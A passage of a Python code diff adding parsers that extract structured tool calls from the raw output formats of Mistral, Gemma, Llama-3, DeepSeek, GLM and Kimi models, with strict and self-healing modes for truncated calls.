json.loads(content[k : end + 1]) + if isinstance(obj, dict) and obj.get("name"): + _consume_mistral_call(content[k : end + 1], out, id_offset) + return out + except (json.JSONDecodeError, ValueError): + pass + + # v11+: walk every ``[TOOL_CALLS]``, parsing ``name{json}`` or + # ``name[ARGS]{json}`` after each trigger. + pos = idx + while pos >= 0: + cur = pos + len(_MISTRAL_TRIGGER) + nm = _MISTRAL_V11_NAME_RE.match(content, cur) + if not nm: + pos = content.find(_MISTRAL_TRIGGER, cur) + continue + name = nm.group(1) + after_name = nm.end() + after_name = _skip_mistral_call_id(content, after_name) + if content.startswith(_MISTRAL_ARGS_MARKER, after_name): + after_name += len(_MISTRAL_ARGS_MARKER) + while after_name < len(content) and content[after_name] in " \t\n\r": + after_name += 1 + if after_name >= len(content) or content[after_name] != "{": + pos = content.find(_MISTRAL_TRIGGER, cur) + continue + end = _balanced_brace_end(content, after_name) + if end is None: + break + try: + args = json.loads(content[after_name : end + 1]) + except (json.JSONDecodeError, ValueError): + pos = content.find(_MISTRAL_TRIGGER, end + 1) + continue + if not isinstance(args, dict): + pos = content.find(_MISTRAL_TRIGGER, end + 1) + continue + out.append( + { + "id": f"call_{id_offset + len(out)}", + "type": "function", + "function": { + "name": name, + "arguments": json.dumps(args), + }, + } + ) + pos = content.find(_MISTRAL_TRIGGER, end + 1) + return out + + +def _parse_mistral_array( + content: str, + start: int, + id_offset: int, + allow_incomplete: bool = True, +) -> list[dict]: + """Pre-v11 ``[TOOL_CALLS] [{...}, ...]`` array form.""" + out: list[dict] = [] + j = start + depth = 0 + in_string = False + esc = False + while j < len(content): + ch = content[j] + if in_string: + if esc: + esc = False + elif ch == "\\": + esc = True elif ch == '"': + in_string = False + else: + if ch == '"': + in_string = True + elif ch == "[": + depth += 1 + elif ch == "]": + depth -= 1 + if depth == 0: + break + j += 1 + # An unclosed array (no matching ]) is a truncated call. In strict mode reject it + # instead of recovering objects by hand below. + if not allow_incomplete and depth != 0: + return out + body = content[start : j + 1] if depth == 0 else content[start:] + + try: + arr = json.loads(body) + if isinstance(arr, list): + for obj in arr: + if isinstance(obj, dict): + _consume_mistral_call(json.dumps(obj), out, id_offset) + return out + except (json.JSONDecodeError, ValueError): + if not allow_incomplete: + return out + + # Healing path for unclosed arrays: walk top-level objects, advancing past each balanced + # ``{...}`` instead of re-scanning from every ``{`` (quadratic ReDoS). + pos = 0 + blen = len(body) + while pos < blen: + brace = body.find("{", pos) + if brace < 0: + break + end = _balanced_brace_end(body, brace) + if end is None: + break # truncated mid-object: nothing after it can balance + _consume_mistral_call(body[brace : end + 1], out, id_offset) + pos = end + 1 + return out + + +def _consume_mistral_call(obj_text: str, out: list[dict], id_offset: int) -> None: + try: + obj = json.loads(obj_text) + except (json.JSONDecodeError, ValueError): + return + if not isinstance(obj, dict): + return + name = obj.get("name") or "" + # Mistral uses ``arguments``; accept the ``parameters`` alias too (sibling paths and + # SGLang's base detector alias it) so an array object keyed on it keeps args. + args = obj.get("arguments") + if args is None: + args = obj.get("parameters", {}) + if isinstance(args, dict): + args_str = json.dumps(args) + elif isinstance(args, str): + args_str = args + else: + args_str = json.dumps({"value": args}) + if name: + out.append( + { + "id": obj.get("id") or f"call_{id_offset + len(out)}", + "type": "function", + "function": {"name": name, "arguments": args_str}, + } + ) + + +def _whole_content_is_json_value(text: str) -> bool: + """True when the entire content is one valid JSON value (a structured + answer, e.g. a response_format turn). Markerless scans must treat text + inside it as data: an answer documenting an enabled tool's syntax must + not execute that tool or have the example stripped from display.""" + t = text.strip() + if t[:1] not in "{[": + return False + try: + json.loads(t) + except ValueError: + return False + return True + + +def _leading_json_value_end(text: str) -> int | None: + """End index (exclusive) of a balanced LEADING JSON value that parses as + JSON: a structured answer possibly followed by prose. Markerless scans treat + its contents as data (extends ``_whole_content_is_json_value``); leading-keyed, + so a JSON blob mid-prose is not an answer span.""" + i = 0 + n = len(text) + while i < n and text[i].isspace(): + i += 1 + if i >= n or text[i] not in "{[": + return None + end = (_balanced_brace_end if text[i] == "{" else _balanced_bracket_end)(text, i) + if end is None: + return None + try: + json.loads(text[i : end + 1]) + except ValueError: + return None + return end + 1 + + +def _parse_gemma_tool_calls( + content: str, + *, + id_offset: int, + allow_incomplete: bool = True, + enabled_tool_names: Optional[set] = None, +) -> list[dict]: + """Gemma 4: ``<|tool_call>call:NAME{k:<|"|>v<|"|>, ...}``, plus the + ``skip_special_tokens`` stream where the wrapper and string markers were + stripped (bare ``call:NAME{k:v, ...}``). + + ``enabled_tool_names`` gates on the parsed name: the wrapper-less shape is + indistinguishable from prose documenting the syntax, so a disabled/example + name must not be stolen as a call. ``None`` keeps the name-agnostic behaviour.""" + out: list[dict] = [] + # The WRAPPED form (strict + nested-marker handling) is tool_healing's, which runs + # first: defer content with a wrapped opener. A marker literal alone is not enough -- + # a wrapper-less call mentioning ``<|tool_call>`` would be lost if deferred. + if _GEMMA_TC_RE.search(content): + return out + # A whole-content JSON value is a structured answer: quoted examples must not become calls. + if _whole_content_is_json_value(content): + return out + # Manual cursor: resume AFTER each consumed balanced body so a nested ``call:OTHER{...}`` + # in an argument is never re-matched. A leading JSON answer's span is data -- scan after it. + cursor = _leading_json_value_end(content) or 0 + while True: + m = _GEMMA_BARE_TC_RE.search(content, cursor) + if m is None: + break + name = m.group(1) + body_start = m.end() - 1 + end = _gemma_body_brace_end(content, body_start) + if end is None: + # Unclosed call: nothing parseable follows (mirrors the strip contract); + # scanning on would promote quoted argument text. + break + cursor = end + 1 + # Markerless: a disabled/example name is prose, not a call. + if enabled_tool_names is not None and name not in enabled_tool_names: + continue + body = content[body_start + 1 : end] + try: + args = _gemma_parse_stripped_body(body) + except Exception: + args = {} + out.append( + { + "id": f"call_{id_offset + len(out)}", + "type": "function", + "function": {"name": name, "arguments": json.dumps(args)}, + } + ) + return out + + +def _balanced_brace_end(text: str, brace_pos: int) -> int | None: + """Index of the ``}`` matching ``{`` at ``brace_pos`` (ignores braces in JSON strings).""" + if brace_pos >= len(text) or text[brace_pos] != "{": + return None + depth = 0 + in_string = False + esc = False + i = brace_pos + while i < len(text): + ch = text[i] + if in_string: + if esc: + esc = False + elif ch == "\\": + esc = True + elif ch == '"': + in_string = False + else: + if ch == '"': in_string = True elif ch == "{": depth += 1 elif ch == "}": depth -= 1 if depth == 0: - break + return i + i += 1 + return None + + +def _gemma_body_brace_end(text: str, brace_pos: int) -> int | None: + """Index of the ``}`` closing the wrapper-less Gemma body at ``brace_pos``. + + Values are raw after ``skip_special_tokens``, so quoted strings (single or + double) hide braces; the quote rules mirror ``_gemma_parse_stripped_body`` so + the boundary always agrees with the body parser. Contextual openers: a single + quote opens only at value-start context (after ``:{[(,=`` -- apostrophes in + ``what's the weather`` are prose), a double quote also at word start (so + ``query:find "a, b"`` hides its delimiters).""" + if brace_pos >= len(text) or text[brace_pos] != "{": + return None + depth = 0 + quote = "" + prev = "" + prev_raw = "" + i = brace_pos + n = len(text) + while i < n: + ch = text[i] + if quote: + if ch == "\\" and i + 1 < n: + i += 2 + continue + if ch == quote: + quote = "" + elif ch in "\"'" and (prev in ":{[(,=" or (ch == '"' and prev_raw.isspace())): + quote = ch + elif ch == "{": + depth += 1 + elif ch == "}": + depth -= 1 + if depth == 0: + return i + if not ch.isspace(): + prev = ch + prev_raw = ch + i += 1 + return None + + +_BARE_JSON_NAME_RE = re.compile(r'"name"\s*:\s*"([^"]+)"') + + +def _top_level_bare_json_name(probe: str) -> Optional[str]: + """TOP-LEVEL ``"name"`` (or ``"function"`` alias, name wins) of a bare-JSON object, else None. + + Skips nested objects/arrays so a nested ``"name"`` isn't mistaken for the call name; a + truncated tail returns None so the caller keeps the text.""" + if not probe.startswith("{"): + return None + decoder = json.JSONDecoder() + function_value = None # the ``"function"`` alias, used only if no ``"name"`` key + i = 1 + n = len(probe) + while i < n: + while i < n and probe[i] in " \t\r\n,": i += 1 - if depth != 0: + if i >= n or probe[i] == "}": + # End of the object with no top-level ``"name"``: fall back to a recorded ``"function"`` alias. + return function_value + if probe[i] != '"': + return None + try: + key, consumed = decoder.raw_decode(probe[i:]) + except (json.JSONDecodeError, ValueError): + return None + if not isinstance(key, str): + return None + i += consumed + while i < n and probe[i] in " \t\r\n": + i += 1 + if i >= n or probe[i] != ":": + return None + i += 1 + while i < n and probe[i] in " \t\r\n": + i += 1 + if key == "name": + if i < n and probe[i] == '"': + try: + value, _consumed = decoder.raw_decode(probe[i:]) + except (json.JSONDecodeError, ValueError): + return None + return value if isinstance(value, str) else None + return None + if key == "function" and function_value is None and i < n and probe[i] == '"': + # ``"function"`` aliases the call name. Record it but keep scanning: a top-level + # ``"name"`` still wins. + try: + value, consumed = decoder.raw_decode(probe[i:]) + except (json.JSONDecodeError, ValueError): + return None + if isinstance(value, str): + function_value = value + i += consumed + continue + # Skip a non-name top-level value; a truncated one can't prove a top-level name + # exists, so return None (keep the text). + if i < n and probe[i] == "{": + end = _balanced_brace_end(probe, i) + if end is None: + return None + i = end + 1 + elif i < n and probe[i] == "[": + end = _balanced_bracket_end(probe, i) + if end is None: + return None + i = end + 1 + else: + try: + _value, consumed = decoder.raw_decode(probe[i:]) + except (json.JSONDecodeError, ValueError): + return None + i += consumed + # No top-level ``"name"`` key: fall back to the ``"function"`` alias if seen. + return function_value + + +def strip_leading_bare_json_call(text: str, enabled_tool_names: Optional[set] = None) -> str: + """Remove leading Llama-3.2 bare-JSON calls (including a ``;``-chained run) + that ``strip_tool_markup`` misses; non-call text is unchanged and + ``enabled_tool_names`` gates like the parser. Consuming the whole chain + matters because the loops keep this text as next-turn assistant history: a + leftover executed call would be replayed alongside the structured + ``tool_calls``.""" + remainder = text + stripped_any = False + while True: + probe = strip_llama3_leading_sentinels(remainder.lstrip()) + # Skip the Llama-3 ``;`` inter-call separator between chained calls. + if stripped_any: + probe = probe.lstrip(" \t\n\r;") + if not (probe.startswith("{") and ('"name"' in probe or '"function"' in probe)): + return probe.lstrip() if stripped_any else text + if enabled_tool_names is not None: + # Only suppress when the leading object's TOP-LEVEL name is an enabled tool. A + # nested ``"name"`` (e.g. {"result":{"name":"web_search",...}}) is data, not the + # call name, so it must not gate the strip. An un-extractable name is kept. + name = _top_level_bare_json_name(probe) + if name not in enabled_tool_names: + return probe.lstrip() if stripped_any else text + end = _balanced_brace_end(probe, 0) + if end is None: + return "" # truncated bare-JSON call -- nothing recoverable + # A closed object must have the CALL SHAPE the parser accepts (dict ``parameters``, + # or dict / JSON-string ``arguments``). An ordinary JSON answer like + # {"name":"web_search","result":"no call"} is content, so the strip keeps it visible. + try: + obj = json.loads(probe[: end + 1]) + except (json.JSONDecodeError, ValueError): + return probe.lstrip() if stripped_any else text + if not _bare_json_call_shaped(obj): + return probe.lstrip() if stripped_any else text + remainder = probe[end + 1 :] + stripped_any = True + + +def _bare_json_call_shaped(obj) -> bool: + """The shape gate ``_parse_llama3_bare_json`` applies to a decoded object.""" + if not isinstance(obj, dict): + return False + # The parser requires a TOP-LEVEL name; a nested one (e.g. in a "result" value of an + # ordinary JSON answer) is data, and stripping it name-agnostically would delete content. + name = obj.get("name") or obj.get("function") or "" + if not isinstance(name, str) or not name: + return False + if "parameters" in obj: + return isinstance(obj.get("parameters"), dict) + args = obj.get("arguments") + if isinstance(args, dict): + return True + if isinstance(args, str): + try: + return isinstance(json.loads(args), dict) + except (json.JSONDecodeError, ValueError): + return False + return False + + +def _gemma_balanced_brace_end(text: str, brace_pos: int, hard_stop: int) -> int | None: + """Like ``_balanced_brace_end`` but skips ``<|"|>`` strings and matches {}/[] symmetrically.""" + if brace_pos >= len(text) or text[brace_pos] != "{": + return None + depth = 0 + i = brace_pos + while i < hard_stop: + if text.startswith(_GEMMA_STR_BEGIN, i): + close = text.find(_GEMMA_STR_END, i + len(_GEMMA_STR_BEGIN)) + if close < 0: + return None + i = close + len(_GEMMA_STR_END) + continue + ch = text[i] + if ch == "{" or ch == "[": + depth += 1 + elif ch == "}" or ch == "]": + depth -= 1 + if depth == 0: + return i + i += 1 + return None + + +def _gemma_parse_value( + text: str, + i: int, + *, + in_mapping: bool = False, +): + """Parse one Gemma arg value at ``i`` in a single O(n) forward pass; returns + ``(value, next_index, closed)``. ``closed`` is False when a string/object/array + runs off the end without its terminator, so the caller can fall back to raw. + ``in_mapping`` applies the top-level rule that a comma only ends the value + when a ``key:`` follows (array elements split on every top-level comma).""" + if text.startswith(_GEMMA_STR_BEGIN, i): + close = text.find(_GEMMA_STR_END, i + len(_GEMMA_STR_BEGIN)) + if close < 0: + return text[i + len(_GEMMA_STR_BEGIN) :], len(text), False + return text[i + len(_GEMMA_STR_BEGIN) : close], close + len(_GEMMA_STR_END), True + if text[i] == "{": + return _gemma_parse_mapping(text, i) + if text[i] == "[": + return _gemma_parse_array(text, i) + if text[i] in "\"'": + # Raw-quoted string: delimiters inside are data (``{city:"New, York"}`` is one + # value); returned unquoted like the top-level scalar coercion. + quote = text[i] + j = i + 1 + n = len(text) + while j < n: + if text[j] == "\\" and j + 1 < n: + j += 2 + continue + if text[j] == quote: + return text[i + 1 : j], j + 1, True + j += 1 + return text[i + 1 :], n, False + # Primitive / unquoted code: same delimiter rules as the top-level scan (bracket depth + # + contextual quote openers hide commas and closers). + end = i + n = len(text) + depth = 0 + quote = "" + prev = ":" + prev_raw = ":" + while end < n and not text.startswith(_GEMMA_STR_BEGIN, end): + ch = text[end] + if quote: + if ch == "\\" and end + 1 < n: + end += 2 + continue + if ch == quote: + quote = "" + elif ch in "\"'" and (prev in ":{[(,=" or (ch == '"' and prev_raw.isspace())): + quote = ch + elif ch in "{[(": + depth += 1 + elif ch in "}])": + if depth == 0: + break + depth -= 1 + elif ch == "," and depth == 0: + if not in_mapping or _GEMMA_KEY_RE.match(text, end + 1): + break + if not ch.isspace(): + prev = ch + prev_raw = ch + end += 1 + if end == i: + # Stray delimiter where a value was expected: consume one char so callers always + # advance (no infinite loop on malformed input). + return "", i + 1, True + raw = text[i:end].strip() + if raw == "true": + return True, end, True + if raw == "false": + return False, end, True + if raw == "null": + return None, end, True + try: + return int(raw), end, True + except ValueError: + pass + try: + return float(raw), end, True + except ValueError: + pass + return raw, end, True + + +def _gemma_parse_array(text: str, start: int): + """Parse a Gemma ``[...]`` array at ``text[start] == '['`` in one forward + pass; returns ``(list, next_index, closed)``.""" + items: list[Any] = [] + i, n = start + 1, len(text) + while i < n: + while i < n and text[i] in " \t\n\r,": + i += 1 + if i < n and text[i] == "]": + return items, i + 1, True + if i >= n: + break + v, i, _closed = _gemma_parse_value(text, i) + items.append(v) + return items, i, False + + +def _gemma_coerce_scalar(raw: str) -> Any: + """Coerce an unquoted Gemma value to bool/int/float/None, else keep str + (quotes stripped first so quoted/unquoted variants compare identical).""" + raw = raw.strip() + if len(raw) >= 2 and raw[0] == raw[-1] and raw[0] in "\"'": + return raw[1:-1] + if raw == "true": + return True + if raw == "false": + return False + if raw == "null": + return None + try: + return int(raw) + except ValueError: + pass + try: + return float(raw) + except ValueError: + pass + return raw + + +def _gemma_strip_quoted_leaves(value: Any) -> Any: + """Recursively unquote quoted string leaves of a nested stripped-stream value, + so nested ``city:"New York"`` matches the top-level coercion (no stray quotes).""" + if isinstance(value, str): + v = value.strip() + if len(v) >= 2 and v[0] == v[-1] and v[0] in "\"'": + return v[1:-1] + return value + if isinstance(value, dict): + return {k: _gemma_strip_quoted_leaves(v) for k, v in value.items()} + if isinstance(value, list): + return [_gemma_strip_quoted_leaves(v) for v in value] + return value + + +def _gemma_parse_stripped_body(body: str) -> dict[str, Any]: + """Parse a quote-less Gemma arg body ``key:value, key2:value2`` (the + ``skip_special_tokens`` stream with ``<|"|>`` markers removed). Each value runs + to the next top-level ``, key:`` boundary, tracking ``{}``/``[]``/``()`` depth so + commas/braces inside a ``code`` / ``command`` value aren't truncated.""" + out: dict[str, Any] = {} + i, n = 0, len(body) + while i < n: + m = _GEMMA_KEY_RE.match(body, i) + if not m: + break + key = m.group(1) + i = m.end() + vstart = i + depth = 0 + quote = "" + # Contextual quote openers mirror _gemma_body_brace_end. + prev = ":" + prev_raw = ":" + while i < n: + ch = body[i] + if quote: + # A ``, key:`` shape inside the quoted string is not a boundary. + if ch == "\\" and i + 1 < n: + i += 2 + continue + if ch == quote: + quote = "" + elif ch in "\"'" and (prev in ":{[(,=" or (ch == '"' and prev_raw.isspace())): + quote = ch + elif ch in "{[(": + depth += 1 + elif ch in "}])": + if depth > 0: + depth -= 1 + elif ch == "," and depth == 0 and _GEMMA_KEY_RE.match(body, i + 1): + break + if not ch.isspace(): + prev = ch + prev_raw = ch + i += 1 + raw_val = body[vstart:i].strip() + if raw_val[:1] in "{[": + # Nested object/array: accept only a fully consumed, closed parse; a + # truncated/malformed value falls back to the raw string. + parsed, end, closed = _gemma_parse_value(raw_val, 0) + out[key] = ( + _gemma_strip_quoted_leaves(parsed) + if (closed and end == len(raw_val)) + else _gemma_coerce_scalar(raw_val) + ) + else: + out[key] = _gemma_coerce_scalar(raw_val) + if i < n and body[i] == ",": + i += 1 + return out + + +def _gemma_parse_mapping(text: str, start: int): + """Parse a Gemma ``{key:value, ...}`` mapping at ``text[start] == '{'`` in one + forward pass; returns ``(dict, next_index, closed)`` (``closed`` True iff the + matching ``}`` was reached).""" + out: dict[str, Any] = {} + i, n = start + 1, len(text) + while i < n: + while i < n and text[i] in " \t\n\r,": + i += 1 + if i < n and text[i] == "}": + return out, i + 1, True + if i >= n: + break + if text.startswith(_GEMMA_STR_BEGIN, i): + close = text.find(_GEMMA_STR_END, i + len(_GEMMA_STR_BEGIN)) + if close < 0: + break + key = text[i + len(_GEMMA_STR_BEGIN) : close] + i = close + len(_GEMMA_STR_END) + else: + kstart = i + while i < n and text[i] not in ":}": + i += 1 + key = text[kstart:i].strip() + while i < n and text[i] in " \t\n\r": + i += 1 + if i < n and text[i] == ":": + i += 1 + while i < n and text[i] in " \t\n\r": + i += 1 + if i >= n: + out[key] = None + break + if text[i] == "}": + out[key] = None + return out, i + 1, True + v, i, _closed = _gemma_parse_value(text, i, in_mapping = True) + out[key] = v + return out, i, False + + +# ── DeepSeek R1 / V3 / V3.1 ───────────────────────────────────────── + + +def _find_outside_json_strings(text: str, needle: str, start: int) -> int: + """Index of ``needle`` at/after ``start`` OUTSIDE any JSON string, or -1: a + marker inside an argument string must not be taken as the structural terminator.""" + i = start + n = len(text) + in_string = False + esc = False + while i < n: + ch = text[i] + if in_string: + if esc: + esc = False + elif ch == "\\": + esc = True + elif ch == '"': + in_string = False + i += 1 + continue + if ch == '"': + in_string = True + i += 1 + continue + if text.startswith(needle, i): + return i + i += 1 + return -1 + + +def _parse_deepseek_tool_calls( + content: str, + *, + id_offset: int, + allow_incomplete: bool = True, +) -> list[dict]: + """DeepSeek R1 / V3 / V3.1. + + R1: ``<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>NAME\\n``\\`\\`\\`json\\n{...}\\n\\`\\`\\`<｜tool▁call▁end｜>...`` + V3.x: ``<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>NAME<｜tool▁sep｜>{json}<｜tool▁call▁end｜>...`` + + Mirrors llama.cpp's pre-autoparser ``common_chat_parse_deepseek_r1`` / + ``_v3_1`` handling; tolerates the 5 opener variants llama.cpp keeps. + """ + out: list[dict] = [] + begin = _DEEPSEEK_BEGIN_RE.search(content) + if not begin: + return out + scan_start = begin.end() + # Envelope end OUTSIDE JSON strings: an argument may contain the literal end token, + # and a raw find would truncate the call. + end_pos = _find_outside_json_strings(content, _DEEPSEEK_END, scan_start) + # Strict mode: an unclosed envelope is truncated; reject, don't heal to EOF. + if not allow_incomplete and end_pos < 0: + return out + scan_end = end_pos if end_pos >= 0 else len(content) + body = content[scan_start:scan_end] + + # R1 path first: ``function<｜tool▁sep｜>NAME\n```json\n{...}\n```<｜tool▁call▁end｜>``. + pos = 0 + while pos < len(body): + fpos = body.find(_DEEPSEEK_R1_FUNC_MARKER, pos) + if fpos < 0: + break + name_start = fpos + len(_DEEPSEEK_R1_FUNC_MARKER) + nl = body.find("\n", name_start) + if nl < 0: + break + if not body.startswith(_DEEPSEEK_R1_FENCE, nl): + pos = name_start + continue + name = body[name_start:nl].strip() + json_start = nl + len(_DEEPSEEK_R1_FENCE) + # Walk a balanced ``{`` even if the trailing fence is truncated. + if json_start >= len(body) or body[json_start] != "{": + pos = json_start + continue + brace_end = _balanced_brace_end(body, json_start) + if brace_end is None: + break + try: + args = json.loads(body[json_start : brace_end + 1]) + except (json.JSONDecodeError, ValueError): + pos = brace_end + 1 + continue + if not isinstance(args, dict): + pos = brace_end + 1 + continue + # The closing fence + <｜tool▁call▁end｜> must IMMEDIATELY follow the JSON, else an + # unbounded search lands on a LATER call's terminator. Absent close: heal past the + # JSON (strict rejects); later well-formed calls are still kept. + after = brace_end + 1 + while after < len(body) and body[after] in " \t\r\n": + after += 1 + close_m = _DEEPSEEK_R1_CLOSE_RE.match(body, after) + if not allow_incomplete and close_m is None: + pos = brace_end + 1 + continue + if name: + out.append( + { + "id": f"call_{id_offset + len(out)}", + "type": "function", + "function": { + "name": name, + "arguments": json.dumps(args), + }, + } + ) + pos = close_m.end() if close_m else brace_end + 1 + if out: + return out + + # V3 / V3.1: name then bare JSON. Use ``str.find`` for the sep marker and walk + # back for the name (a ``[^\n<]+`` regex search is O(N^2) on truncated bodies). + pos = 0 + while pos < len(body): + sep_pos = body.find(_DEEPSEEK_SEP, pos) + if sep_pos < 0: + break + # Walk left from sep_pos to the name start; stop at ``\n`` (turn boundary), ``<`` + # (tag start), or ``>`` (end of an optional ``<｜tool▁call▁begin｜>``). + name_start = sep_pos + while name_start > pos and body[name_start - 1] not in "\n<>": + name_start -= 1 + name = body[name_start:sep_pos].strip() + json_start = sep_pos + len(_DEEPSEEK_SEP) + while json_start < len(body) and body[json_start] in " \t\n\r": + json_start += 1 + if json_start >= len(body) or body[json_start] != "{": + pos = sep_pos + len(_DEEPSEEK_SEP) + continue + brace_end = _balanced_brace_end(body, json_start) + if brace_end is None: + break + # Strict mode: a real V3 call closes with the per-call <｜tool▁call▁end｜>; without + # it the call is truncated/merged, so skip it but keep scanning for a later + # well-formed call (matches Kimi strict). + if not allow_incomplete: + after = brace_end + 1 + while after < len(body) and body[after] in " \t\r\n": + after += 1 + if not body.startswith(_DEEPSEEK_CALL_END, after): + pos = brace_end + 1 + continue + try: + args = json.loads(body[json_start : brace_end + 1]) + except (json.JSONDecodeError, ValueError): + pos = brace_end + 1 + continue + if not isinstance(args, dict): + pos = brace_end + 1 + continue + if name: + out.append( + { + "id": f"call_{id_offset + len(out)}", + "type": "function", + "function": { + "name": name, + "arguments": json.dumps(args), + }, + } + ) + # Advance just past the JSON; seeking the optional <｜tool▁call▁end｜> could land on + # a LATER call's end marker and skip the call between. + pos = brace_end + 1 + return out + + +# ── GLM 4.5 / 4.6 / 4.7 ───────────────────────────────────────────── + + +def _parse_glm_tool_calls( + content: str, + *, + id_offset: int, + allow_incomplete: bool = True, +) -> list[dict]: + """GLM 4.5 / 4.6 / 4.7. + + ``NAME[\\n]K[\\n]V + ...``. Multi-call is back-to-back blocks, no envelope. + Mirrors llama.cpp's GLM 4.x tool-call handling (``common_chat_params_init_glm_4_5`` + plus its generalized XML-style parser, llama.cpp PRs #15904 / #16932). + """ + out: list[dict] = [] + pos = 0 + while pos < len(content): + m = _GLM_TC_OPEN_RE.search(content, pos) + if not m: + break + name = m.group(1).strip() + apos = m.end() # absolute position in ``content``; advances past each pair + + args: dict[str, Any] = {} + valid = True + close = -1 + # Walk arg pairs directly against ``content``: a value may contain a literal + # , so the real close is the before the next . + # ``str.find`` keeps this linear. + while True: + ks = content.find(_GLM_ARG_KEY_OPEN, apos) + tc = content.find(_GLM_TC_CLOSE, apos) + if tc >= 0 and (ks < 0 or tc < ks): + close = tc + break + if ks < 0: + break # no close and no more keys -- truncated body + ke = content.find(_GLM_ARG_KEY_CLOSE, ks + len(_GLM_ARG_KEY_OPEN)) + if ke < 0: + break + vstart = ke + len(_GLM_ARG_KEY_CLOSE) + while vstart < len(content) and content[vstart] in " \t\r\n": + vstart += 1 + if not content.startswith(_GLM_ARG_VAL_OPEN, vstart): + # Key without : strict rejects the call; Auto-Heal skips it. + if not allow_incomplete: + valid = False + apos = ke + len(_GLM_ARG_KEY_CLOSE) + continue + vs = vstart + len(_GLM_ARG_VAL_OPEN) + # A first-match find on would truncate values containing literal + # close tags and execute corrupted arguments. + ve = _glm_value_close(content, vs, strict = not allow_incomplete) + key = content[ks + len(_GLM_ARG_KEY_OPEN) : ke].strip() + if ve < 0: + # Unclosed : strict rejects the whole call; Auto-Heal keeps the + # partial value (a truncated query is not a no-arg call). + if not allow_incomplete: + valid = False + break + # Bound the healed value at the next structural tag, not EOF, so a value + # missing only its can't swallow the markup after it. + nk = content.find(_GLM_ARG_KEY_OPEN, vs) + tc = content.find(_GLM_TC_CLOSE, vs) + bounds = [b for b in (nk, tc) if b >= 0] + if not bounds: + args[key] = content[vs:].rstrip() + break + bound = min(bounds) + args[key] = content[vs:bound].rstrip() + apos = bound + continue + raw_val = content[vs:ve] + apos = ve + len(_GLM_ARG_VAL_CLOSE) + # Decode only unambiguous JSON literals; else keep the value RAW so whitespace + # in string args survives (matches vLLM glm4_moe). ``"`` is left out of the + # probe: a verbatim string's quotes are meaningful. + probe = raw_val.strip() + if ( + probe[:1] in "{[" + or probe in ("true", "false", "null") + or _GLM_JSON_NUMERIC_RE.fullmatch(probe) + ): + try: + args[key] = json.loads(probe) + continue + except (json.JSONDecodeError, ValueError): + pass + args[key] = raw_val + + # Strict mode: a block with no is truncated; reject it. + if not allow_incomplete and close < 0: + valid = False + + if name and valid: + out.append( + { + "id": f"call_{id_offset + len(out)}", + "type": "function", + "function": { + "name": name, + "arguments": json.dumps(args), + }, + } + ) + pos = close + len(_GLM_TC_CLOSE) if close >= 0 else len(content) + return out + + +# ── Kimi K2 / Moonshot ────────────────────────────────────────────── + + +def _parse_kimi_tool_calls( + content: str, + *, + id_offset: int, + allow_incomplete: bool = True, +) -> list[dict]: + """Kimi K2. + + ``<|tool_calls_section_begin|><|tool_call_begin|>functions.NAME:IDX + <|tool_call_argument_begin|>{json}<|tool_call_end|>... + <|tool_calls_section_end|>``. Full id is preserved on ``tool_calls + [i].id`` for round-trip through the chat template. Outer loop walks + every section in the stream (vLLM / SGLang parity); mirrors llama.cpp's + Kimi K2 handling via its generalized XML-style parser (llama.cpp PR #16932). + """ + out: list[dict] = [] + outer_pos = 0 + while True: + section_start = content.find(_KIMI_SECTION_BEGIN, outer_pos) + if section_start < 0: + break + scan_start = section_start + len(_KIMI_SECTION_BEGIN) + # Section end OUTSIDE JSON strings: an argument may contain the literal end token, + # and a raw find would drop the later valid call. + section_end = _find_outside_json_strings(content, _KIMI_SECTION_END, scan_start) + scan_end = section_end if section_end >= 0 else len(content) + body = content[scan_start:scan_end] + # Truncated tail: parse what we have, then exit. In strict mode a section with no + # <|tool_calls_section_end|> is truncated; reject it instead. + if section_end < 0: + if allow_incomplete: + out.extend( + _parse_kimi_section_body( + body, id_offset = id_offset + len(out), allow_incomplete = True + ) + ) + return out + outer_pos = section_end + len(_KIMI_SECTION_END) + out.extend( + _parse_kimi_section_body( + body, id_offset = id_offset + len(out), allow_incomplete = allow_incomplete + ) + ) + + # The section wrapper is optional (llama.cpp): a bare <|tool_call_begin|> call parses + # as one section when the loop matched nothing. + if not out and _KIMI_CALL_BEGIN in content: + out.extend( + _parse_kimi_section_body( + content, id_offset = id_offset, allow_incomplete = allow_incomplete + ) + ) + return out + + +def _parse_kimi_section_body( + body: str, + *, + id_offset: int, + allow_incomplete: bool = True, +) -> list[dict]: + """Parse one Kimi K2 section body (between begin / end markers).""" + out: list[dict] = [] + pos = 0 + while pos < len(body): + call_start = body.find(_KIMI_CALL_BEGIN, pos) + if call_start < 0: + break + id_start = call_start + len(_KIMI_CALL_BEGIN) + arg_begin = body.find(_KIMI_ARG_BEGIN, id_start) + if arg_begin < 0: + break + full_id = body[id_start:arg_begin].strip() + m = _KIMI_ID_RE.match(full_id) + if m: + # group(1) is the whole name; do NOT split on ``.`` -- a dotted MCP name stays intact. + name = m.group(1) + else: + base = full_id.split(":")[0] + name = base[len("functions.") :] if base.startswith("functions.") else base + # Drop bare-counter ids (``3``, ``42``) -- matches vLLM; SGLang infers the name + # from the tool schema, which we don't have here. + if name.isdigit(): + json_start = arg_begin + len(_KIMI_ARG_BEGIN) + brace_end = ( + _balanced_brace_end(body, json_start) + if (json_start < len(body) and body[json_start] == "{") + else None + ) + if brace_end is None: + pos = arg_begin + len(_KIMI_ARG_BEGIN) + else: + pos = brace_end + 1 + continue + json_start = arg_begin + len(_KIMI_ARG_BEGIN) + # Balanced brace lets a truncated trailing end marker still surface a call. + while json_start < len(body) and body[json_start] in " \t\n\r": + json_start += 1 + if json_start >= len(body) or body[json_start] != "{": + pos = arg_begin + len(_KIMI_ARG_BEGIN) + continue + brace_end = _balanced_brace_end(body, json_start) + if brace_end is None: + # Malformed / truncated JSON: skip this call but keep parsing later ones + # instead of dropping the rest of the section (vLLM recovers them). + nxt = body.find(_KIMI_CALL_BEGIN, json_start) + if nxt < 0: + break + pos = nxt + continue + try: + args = json.loads(body[json_start : brace_end + 1]) + except (json.JSONDecodeError, ValueError): + pos = brace_end + 1 + continue + if not isinstance(args, dict): + pos = brace_end + 1 continue if not allow_incomplete: - tail_after_json = content[i + 1 :].lstrip() - if _TC_END_TAG_RE.match(tail_after_json) is None: + # Strict mode: this call must close with <|tool_call_end|> before the next + # <|tool_call_begin|>; otherwise it is truncated, so reject it. + end_marker = body.find(_KIMI_CALL_END, brace_end + 1) + next_call = body.find(_KIMI_CALL_BEGIN, brace_end + 1) + 